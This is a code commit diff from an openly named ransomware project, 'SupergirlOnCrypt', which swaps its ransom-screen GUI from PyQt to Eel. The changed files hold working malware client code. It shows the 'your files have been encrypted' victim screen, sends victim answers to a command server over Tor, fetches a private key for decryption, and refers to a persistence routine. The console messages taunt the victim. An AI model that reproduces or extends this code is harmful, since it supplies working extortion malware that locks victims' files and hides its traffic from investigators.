Replaced PyQT with Eel -> Reduced overall Binary size to ~30mb

Author: ThoughtfulDev

App/DecryptThread.py

@@ -1,15 +1,16 @@
 import sys
+import threading
 from pathlib import Path
-from PyQt5.QtCore import QThread
 from Helper import Helper
 from FileCrypter import FileCrypter
 import Config
 
 
-class DecryptThread (QThread):
-    def __init__(self, priv_key):
-        QThread.__init__(self)
+class DecryptThread (threading.Thread):
+    def __init__(self, priv_key, eel_obj):
+        threading.Thread.__init__(self)
         self.privkey = priv_key
+        self.eel = eel_obj
 
     def run(self):
         h = Helper()
@@ -32,4 +33,5 @@ def decrypt(self):
             except IOError:
                 not_encrypted.append(path_in_str)
                 h.error("Could not decrypt " + path_in_str)
-        h.safe_exit()
+        #h.safe_exit()
+        self.eel.decrypt_success()

App/GUI.py

@@ -1,120 +1,87 @@
 import json
 import base64
 import collections
-from PyQt5 import QtCore
-from PyQt5.QtCore import QSize
-from PyQt5.QtGui import QImage, QPalette, QBrush, QFont
-from PyQt5.QtWidgets import QLabel, QPushButton, QWidget, QMessageBox, QTextEdit, QProgressBar, QInputDialog, QLineEdit
 from Helper import Helper
 from TorManager import TorManager
 import Config
 import DecryptThread
 import requests
+import eel
 
+uuid = ""
 
+def setup():
+     eel.init('web')      
 
-class GUI(QWidget):
-    def __init__(self, uuid):
-        self.uuid = uuid
-        QWidget.__init__(self)
-        self.headerFont = QFont("Times", 22, QFont.AllUppercase)
-        self.setup()
+def show():
+    web_app_options = {
+	'mode': "chrome-app",
+	'port': 1337,
+    'chromeFlags': [" --incognito"]
+    }
+    try:
+        eel.start('ui.html', size=(1152,648), options=web_app_options)
+    except EnvironmentError:
+        web_app_options = {
+	        'mode': "l33t",
+	        'port': 1337
+        }
+        eel.start('ui.html', size=(1152,648), options=web_app_options)
 
-    def setup(self):
-        self.resize(800, 600)
-        self.setWindowTitle("SupergirlOnCrypt")
-        self.setWindowFlags(self.windowFlags() | QtCore.Qt.CustomizeWindowHint)
-        self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMaximizeButtonHint)
-        self.setWindowFlags(self.windowFlags() & ~QtCore.Qt.WindowMinimizeButtonHint)
-        self.setbg()
-        self.placeWidgets()
-        self.show()
+@eel.expose                         # Expose this function to Javascript
+def shutdown():
+    h = Helper()
+    h.safe_exit()
 
-    def setbg(self):
-        h = Helper()
-        oImage = QImage(h.path("res/gui_bg.jpg"))
-        sImage = oImage.scaled(QSize(800, 600))  # resize Image to widgets size
-        palette = QPalette()
-        palette.setBrush(10, QBrush(sImage))  # 10 = Windowrole
-        self.setPalette(palette)
+@eel.expose
+def getQuestions():
+    h = Helper()
+    l = []
+    with open(h.path('res/questions.txt'), 'r') as f:
+        for q in f:
+            l.append(q)
+    return l
 
-    def placeWidgets(self):
-        #heading
-        self.lbHeader = QLabel("Oops, Your Files\nhave been encrypted!", self)
-        self.lbHeader.setFont(self.headerFont)
-        self.lbHeader.setStyleSheet("QLabel { color: white;}")
-        self.lbHeader.setGeometry(10, 15, 500, 120)
+@eel.expose
+def checkQuestions(answers):
+    q = []
+    for i in range(len(answers)):
+        r = answers[i]
+        tmp = [getQuestions()[i].replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))]
+        q.append(tmp)
+    return sendAnswers(q)
 
-        self.infoText = QTextEdit(self)
-        self.infoText.setReadOnly(True)
-        self.infoText.setGeometry(205, 150, 550, 360)
-        h = Helper()
-        with open(h.path('res/info.html'), 'r') as encrypt_info_file:
-            encrypt_text = encrypt_info_file.read().replace('\n', '')
-        self.infoText.setHtml(encrypt_text)
+def sendAnswers(q):
+    tor = TorManager()
+    r = tor.getSession()
+    try:
+        data = collections.OrderedDict()
+        for i in range(0, len(q)):
+            data[q[i][0]] = q[i][1].decode('utf-8')
+        headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
+        req = r.post(Config.API_URL + "/answer/" + uuid, data=json.dumps(data), headers=headers)
+        data = json.loads(req.text)
+        if data['STATUS'] == "WRONG_ANSWERS":
+            return False
+        elif data['STATUS'] == "OK":
+            return True
+    except requests.exceptions.RequestException:
+        return False
 
-        self.progressBar = QProgressBar(self)
-        self.progressBar.setRange(0, 0)
-        self.progressBar.setGeometry(20, 550, 500, 24)
-        self.progressBar.hide()
+@eel.expose
+def decryptData():
+    tor = TorManager()
+    r = tor.getSession()
+    try:
+        req = r.get(Config.API_URL + "/decrypt/" + uuid)
+        data = json.loads(req.text)
+        if data['STATUS'] == "FAIL":
+            eel.decrypt_fail()
+        elif data['STATUS'] == "SUCCESS":
+            privkey = base64.b64decode(data['priv_key']).decode('utf-8')
+            decryptThread = DecryptThread.DecryptThread(privkey, eel)
+            decryptThread.start()
+            decryptThread.join()
+    except requests.exceptions.RequestException:
+        eel.decrypt_fail()
 
-        #button decrypt
-        self.btnDecrypt = QPushButton("Decrypt", self)
-        self.btnDecrypt.move(650, 550)
-        self.btnDecrypt.setStyleSheet("QPushButton {background-color:black; color: white; width:100px; height:24px;} "
-                                      "QPushButton:hover {color:green;}")
-        self.btnDecrypt.clicked.connect(self.askQuestions)
-
-    def askQuestion(self, q):
-        text, okPressed = QInputDialog.getText(self, "Supergirl", q, QLineEdit.Normal, "")
-        if okPressed and text != '':
-            return text
-        else:
-            return ""
-
-
-    def askQuestions(self):
-        h = Helper()
-        questions = []
-        with open(h.path('res/questions.txt'), 'r') as f:
-            for question in f:
-                r = self.askQuestion(question)
-                tmp = [question.replace('\n', ''), base64.b64encode(str(r).encode('utf-8'))]
-                questions.append(tmp)
-        print(questions)
-        self.sendAnswers(questions)
-
-    def sendAnswers(self, q):
-        tor = TorManager()
-        r = tor.getSession()
-        try:
-            data = collections.OrderedDict()
-            for i in range(0, len(q)):
-                data[q[i][0]] = q[i][1].decode('utf-8')
-            headers = {'Content-type': 'application/json', 'Accept': 'text/plain'}
-            req = r.post(Config.API_URL + "/answer/" + self.uuid, data=json.dumps(data), headers=headers)
-            data = json.loads(req.text)
-            if data['STATUS'] == "WRONG_ANSWERS":
-                QMessageBox.question(self, "Still locked...", "Your machine is still locked\nAt least one Answer was wrong", QMessageBox.Ok)
-            elif data['STATUS'] == "OK":
-                self.decryptData()
-        except requests.exceptions.RequestException:
-            QMessageBox.question(self, "Error", "You are fucked...",
-                                 QMessageBox.Ok)
-
-    def decryptData(self):
-        tor = TorManager()
-        r = tor.getSession()
-        try:
-            req = r.get(Config.API_URL + "/decrypt/" + self.uuid)
-            data = json.loads(req.text)
-            if data['STATUS'] == "FAIL":
-                QMessageBox.question(self, "Still locked...", "Decryption Failed!", QMessageBox.Ok)
-            elif data['STATUS'] == "SUCCESS":
-                self.progressBar.show()
-                privkey = base64.b64decode(data['priv_key']).decode('utf-8')
-                self.decryptThread = DecryptThread.DecryptThread(privkey)
-                self.decryptThread.start()
-        except requests.exceptions.RequestException:
-            QMessageBox.question(self, "Error", "You are fucked...",
-                                 QMessageBox.Ok)

App/SupergirlOnCrypt.py

@@ -11,13 +11,12 @@
 from cryptography.hazmat.primitives import serialization, hashes
 from cryptography.hazmat.primitives.asymmetric import padding
 from cryptography.hazmat.backends import default_backend
-from PyQt5.QtWidgets import QApplication
 from RSA.RSAKeyGen import RSAKeyGen
 from pathlib import Path
 from Helper import Helper
 from FileCrypter import FileCrypter
 from TorManager import TorManager
-from GUI import GUI
+import GUI
 
 _helper = Helper()
 _session = 0
@@ -46,18 +45,18 @@ def init():
 def startGui(id):
     if sys.platform == "linux" or sys.platform == "linux2":
         if not os.environ.get('XDG_CURRENT_DESKTOP') is None:
-            app = QApplication(sys.argv)
-            _ = GUI(id)
-            sys.exit(app.exec_())
+            GUI.uuid = id
+            GUI.setup()
+            GUI.show()
         else:
             _helper.super_logo()
             _helper.supergirl_pic()
             print("Supergirl needs a GUI. She encrypted your Files and you are screwed")
             print("Have a nice Day! ;)")
     else:
-        app = QApplication(sys.argv)
-        _ = GUI(id)
-        sys.exit(app.exec_())
+        GUI.uuid = id
+        GUI.setup()
+        GUI.show()
 
 def makePersistence():
     if getattr(sys, 'frozen', False):

App/requirements_lin.txt

@@ -2,7 +2,7 @@ cryptography
 pycryptodome
 requests
 pysocks
-pyqt5
 psutil
 pillow
-pycrypto
+pycrypto
+https://github.com/ThoughtfulDev/Eel/archive/master.zip

App/requirements_win.txt

@@ -2,6 +2,7 @@ cryptography
 pycryptodome
 requests
 pysocks
-pyqt5
 psutil
-pillow
+pillow
+pywin32
+https://github.com/ThoughtfulDev/Eel/archive/master.zip

App/res/gui_bg.jpg

@@ -0,0 +1,26 @@
+ body {
+    padding:0;
+    margin:0;
+    width:100%;
+    height:100%;
+    background: url('../img/bg.jpg') top center no-repeat;
+    background-size:cover;
+ }
+
+ .notice {
+     margin:160px auto;
+     max-width:700px;
+     width:100%;
+     height:100%;
+     text-align:left;
+ }
+
+ #notice_btn_area #left {
+    float:left;
+ }
+
+ #notice_btn_area #right {
+    float:right;
+ }
+
+